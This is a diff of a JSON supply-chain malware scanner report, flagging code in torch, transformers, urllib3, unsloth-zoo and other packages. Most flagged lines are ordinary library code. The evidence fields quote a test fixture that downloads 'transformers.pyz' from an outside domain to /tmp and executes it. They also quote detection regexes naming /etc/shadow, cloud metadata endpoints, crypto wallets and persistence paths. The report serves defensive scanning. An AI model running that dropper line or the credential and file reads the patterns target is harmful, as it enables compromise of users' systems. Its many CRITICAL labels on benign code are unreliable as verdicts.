[\"ldd\", os.path.join(search, file)]\nL4340: ) | L4422: jobs.append(functools.partial(subprocess.check_call, cmd)) | L4507: subprocess.check_call(\nL4508: shlex.split(halide_cmd_gen.get_command_line())\nL4509: ) | L4992: subprocess.check_output(\nL4993: cmd_parts, stderr=subprocess.STDOUT, env=os.environ\nL4994: ) | L5247: output = subprocess.check_output(\nL5248: cmd_parts,\nL5249: stderr=subprocess.STDOUT,\nL5250: text=True,\nL5251: env=os.environ,\nL5252: )", + "evidence_hash": "87f77b5f51cb84fe9950fdeeb90fe8710e1b863100e90b5e2cfb228a725bee06" }, { "package": "torch", "file": "torch/ao/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L30: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L30: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/ao/nn/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L34: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L34: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/ao/nn/intrinsic/__init__.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L40: return importlib.import_module(\".\" + name, __name__)" + "evidence": "L40: return importlib.import_module(\".\" + name, __name__)", + "evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a" }, { "package": "torch", "file": "torch/cuda/_memory_viz.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L74: if \"history\" in b:\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(" + "evidence": "FS: L74: if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(\nL102: \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103: f.name,\nL104: )", + "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85" }, { "package": "torch", "file": "torch/distributed/elastic/multiprocessing/redirects.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L218: os.dup2(dst.fileno(), std_fd)" + "evidence": "L218: os.dup2(dst.fileno(), std_fd)", + "evidence_hash": "de197e9d0a8e6df32e900b34e6584602dbdb5f555c689825774915e30460446f" }, { "package": "torch", "file": "torch/hub.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r:" + "evidence": "Env: L237: token = os.environ.get(ENV_GITHUB_TOKEN)\nNetwork: L19: from urllib.request import Request, urlopen | L206: with urlopen(f\"https://github.com/{repo_owner}/{repo_name}/tree/main/\"): | L230: with urlopen(url) as r: | L749: with urlopen(req) as u:", + "evidence_hash": "95ea712c0e7062aa43f5d6cb18315e8c11f76b3981a585bee53c069998da3704" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L4770: env = os.environ.copy()\nNetwork: L4832: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4850: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:" + "evidence": "Env: L4900: env = os.environ.copy()\nNetwork: L4962: with request.urlopen(url, timeout=15) as f1, open(path, 'wb' if binary else 'w') as f2: | L4980: with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:", + "evidence_hash": "704a851b9d68c9b885b9e15538bd7e96f03875503b618fe6f126c4438edd7386" }, { "package": "torch", "file": "torch/testing/_internal/common_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L32: import socket" + "evidence": "L32: import socket sha256:89faaaa8bc908e02dad73fd59b2b481fa91189c84b39b556c2766e71d2783bf3", + "evidence_hash": "3d23d77ace91812a07cb9508cf352185d154176e8e8c8b9b28fa92cdbcfe0d53" + }, + { + "package": "torch", + "file": "torch/testing/_internal/common_utils.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L32: import socket sha256:ba439cbf568b194872f1d974c02b0487e51f677b67e379400522d0992600bd2d", + "evidence_hash": "88e98b227573997f86eedea8e885a407b0dd549d46d4a3f0b840ec5aafe66865" }, { "package": "torchvision", "file": "torchvision/datasets/utils.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as r" + "evidence": "Archive: L212: with tarfile.open(from_path, f\"r:{compression[1:]}\" if compression else \"r\") as tar:\nNetwork: L12: import urllib.request | L28: with urllib.request.urlopen(urllib.request.Request(url, headers={\"User-Agent\": USER_AGENT})) as response: | L63: with urllib.request.urlopen(urllib.request.Request(url, headers=headers)) as response:", + "evidence_hash": "f78206d208cb2fed68f5cc2cb26e73d3db10c79848a4289fccaf09eeaa63a080" }, { "package": "traitlets", "file": "traitlets/config/loader.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)" + "evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)", + "evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470" }, { "package": "transformers", "file": "transformers/integrations/integration_utils.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L2057: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \"\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: w" + "evidence": "FS: L2125: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", + "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca" }, { "package": "transformers", "file": "transformers/integrations/integration_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L2444: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2462: import urllib.request | L2493: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2494: with urllib.request.urlopen(req, timeout=5, c" + "evidence": "Env: L2512: token_path = os.environ.get(self._ENV_TOKEN_PATH)\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:", + "evidence_hash": "60b7a5ab21f1ac825331feef21f9a6e2751da85b062164c2e183b28d4dae4cfb" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L1577: while True:" + "evidence": "L1577: while True: sha256:2c6152f9da685f728e58d39dfc1827bc794f52606f56983bf38b5c6d0857cd5b", + "evidence_hash": "cdada67f3327237f00838a6750a4908dfaf76b9ab30c1352495c340d4fbd15c9" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1623: while True: sha256:012c2884195786085fb2ecad951e47f205bf094d75335b81aae14c0b499a208a", + "evidence_hash": "af3cfbdaa405a19c27295fde282e907fb06ad3bb96039f6731f9f82754c1c049" + }, + { + "package": "transformers", + "file": "transformers/testing_utils.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L1699: while True: sha256:969e911d30c37a279ad915fb8c3d2d0a3f5705a7eb82ae6e00687388b68bbe65", + "evidence_hash": "2aa8e94baa805d599720a16afee6f08976482e301333e619e6c343389498ad15" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L252: value = os.environ[key] | L268: value = os.environ[key] | L2043: env = os.environ.copy()\nNetwork: L2475: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:" + "evidence": "Env: L288: value = os.environ[key] | L304: value = os.environ[key] | L2165: env = os.environ.copy() | L2287: for k in list(os.environ.keys()):\nNetwork: L2597: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:", + "evidence_hash": "73ff16aee09cf163fb3a7a04dfa2cf610595bde2f19460a579397695f728e3f4" }, { "package": "transformers", "file": "transformers/testing_utils.py", "check": "Reverse shell / bind shell pattern", "severity": "CRITICAL", - "evidence": "L2473: import socket" + "evidence": "L2473: import socket sha256:ad30a1fc73ad185f6c085cb5ee294fc944c614de31d5eea7e23082465a7fc0cc", + "evidence_hash": "8e7983acde3d0fe4377ee8ef95a732d74c2c9784aacc154d1ab9bbdf9fbcb736" }, { "package": "transformers", "file": "transformers/utils/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L2439: return importlib.import_module(\".\" + module_name, self.__name__)" + "evidence": "L2345: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "triton", "file": "triton/tools/build_extern.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"" + "evidence": "L315: self._ll_file = \"/tmp/extern_lib.ll\"\nL316: \nL317: def disasm(self, lib_path: str) -> None:\nL318: subprocess.Popen([self._path, lib_path, \"-o\", self.ll_file], stdout=subprocess.PIPE).communicate()", + "evidence_hash": "b01058d795f253b6327546f0ff09a6100bbdb83ce275b29ef955d8043a4a5890" }, { "package": "trl", "file": "trl/extras/vllm_client.py", "check": "C2 polling/beaconing loop detected", "severity": "CRITICAL", - "evidence": "L152: while True:" + "evidence": "L152: while True: sha256:93e7d409e300af445376e6defbe2d0241aa19ecf63ed41b780fbb91c7d09856f", + "evidence_hash": "208838617172de61bca201d2a1bbeb5aa5aaa55feb1a1069cf39214673a7d6d1" + }, + { + "package": "trl", + "file": "trl/extras/vllm_client.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L146: while True: sha256:2beedc742e1f085eaa10fd3bc40be97d2331d21887ef1b9ccdfa2150a184edfe", + "evidence_hash": "1540dffaaa053780e953e04c11d9c6b9c74b91cb60f3e6d87451ba7fe7db46db" }, { "package": "trl", "file": "trl/import_utils.py", "check": "Downloads and executes remote code", "severity": "CRITICAL", - "evidence": "L156: return importlib.import_module(\".\" + module_name, self.__name__)" + "evidence": "L144: return importlib.import_module(\".\" + module_name, self.__name__)", + "evidence_hash": "e584ecfdb097d9482bb19cd3992813bc1a119cfd4c40af14748bafe22900d91e" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", - "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.re" + "evidence": "IMDS: L155: r\"|/latest/meta-data\" | L156: r\"|/metadata/instance\" | L157: r\"|/metadata/identity\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "6c5b2c00cf729c2cc1ae948818695e05d207a6845b6c1b71ed2967780866ab2d" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as" + "evidence": "Archive: L1254: with tarfile.open(path, mode = \"r|*\") as tf:\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "9eb520994e9b3dd1030e60820dcc5b6df8e0c58db9d6b83d2379addfbab22ba6" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.url" + "evidence": "FS: L116: r\"|/etc/shadow|/etc/passwd\" | L256: r\"|/etc/shadow\" | L257: r\"|/etc/passwd\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "2439b08c35dac70ee8f388456012affb3f8eb10b267e54a42f21ff1f815af8ee" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Installs persistence AND makes network calls (backdoor pattern)", "severity": "CRITICAL", - "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.u" + "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\" | L170: r\"|/Library/LaunchAgents\" | L172: r\"|~/.local/share/systemd\" | L174: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\"," + "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\",", + "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Targets cryptocurrency wallets AND makes network calls", "severity": "CRITICAL", - "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as r" + "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as resp:", + "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212" }, { "package": "unsloth-zoo", "file": "scripts/scan_packages.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\"," + "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8", + "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(" + "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53: \"https://git-tanstack.com/transformers.pyz\",\nL54: \"/tmp/transformers.pyz\",\nL55: )", + "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)" + "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", + "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8" }, { "package": "unsloth-zoo", "file": "tests/security/fixtures/_build.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L54: \"/tmp/transformers.pyz\"," + "evidence": "L54: \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)", + "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336" }, { "package": "unsloth-zoo", "file": "tests/security/test_scan_packages.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", - "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\"," + "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\", | L157: \"With Love TeamPCP\", | L158: \"We've been online over 2 hours\",", + "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5" }, { "package": "unsloth-zoo", "file": "tests/security/test_scan_packages.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L155: \"/tmp/transformers.pyz\"," + "evidence": "L155: \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0", + "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0" }, { "package": "unsloth-zoo", "file": "tests/test_convert_hf_to_gguf_patcher.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)" + "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)", + "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_mlx_save_export_regressions.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L165: temporary_location=\"/tmp/ignored\", sha256:9f8502377b19666288b28399633dfc6740a64d0cb70ad1615e38b1269f94bf37", + "evidence_hash": "b7262d6e58f2ebad961dd3e64ca6c32bba356b5044d7a642d7dbd36a58cb6c81" }, { "package": "unsloth-zoo", "file": "tests/test_quantize_gguf_q2_k_l.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", - "evidence": "L67: input_gguf=\"/tmp/in.gguf\"," + "evidence": "L67: input_gguf=\"/tmp/in.gguf\", sha256:06789b55e8f31426c233f37ff7d3729cc9e1f61c0829abd2c00c39216c63c7ad", + "evidence_hash": "ad4913d9099eb9b70e09d6860b242eb5f48c67e46d9bf4ae35c1c38a267d753b" }, { "package": "unsloth-zoo", "file": "tests/test_upstream_pinned_symbols_transformers.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:" + "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:", + "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/device_type.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request( | L87: with urllib.request.urlopen(request, timeout = 2.5) as response:" + "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request(\nL83: index_url,\nL84: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85: method = method,\nL86: ) | L87: with urllib.request.urlopen(request, timeout = 2.5) as response: | L100: request = urllib.request.Request(\nL101: f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102: headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103: ) | L104: with urllib.request.urlopen(request, timeout = 2.5) as response:", + "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Creates archive with sensitive data AND makes network calls", "severity": "CRITICAL", - "evidence": "Archive: L847: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1546: response = requests.get( | L2694: check = requests.get(llama_cpp_" + "evidence": "Archive: L938: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)", + "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L649: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L154" + "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)", + "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926" }, { "package": "urllib3", "file": "urllib3/response.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", - "evidence": "FS: L557: if retries is not None and retries.history:\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResp" + "evidence": "FS: L557: if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResponse like. \"", + "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839" }, { "package": "urllib3", "file": "urllib3/util/ssl_.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", - "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket," + "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket, | L462: sock: socket.socket,", + "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d" }, { "package": "attrs", "file": "attr/_make.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)" + "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)", + "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61" }, { "package": "beartype", "file": "beartype/_util/func/utilfuncmake.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)" + "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)", + "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed" }, { "package": "botocore", "file": "botocore/vendored/six.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")" + "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")", + "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f" + }, + { + "package": "cffi", + "file": "cffi/_cffi_gen_src.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L52: compiled = compile(source=pysrc, filename=filename, mode='exec')\nExec: L53: exec(compiled, globs, globs)", + "evidence_hash": "c429e4c977a61db6b7c717b5a552fce74eda622213e49eb5467a3782fd746fb9" }, { "package": "cffi", "file": "cffi/setuptools_ext.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)" + "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)", + "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402" }, { "package": "ddgs", "file": "ddgs/dht/libp2p_client.py", "check": "DNS exfiltration / tunneling patterns", "severity": "HIGH", - "evidence": "L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")" + "evidence": "DNS: L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195: sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)", + "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4" }, { "package": "dill", "file": "dill/_dill.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj)\nExec: L979: return eval(repr_str) | 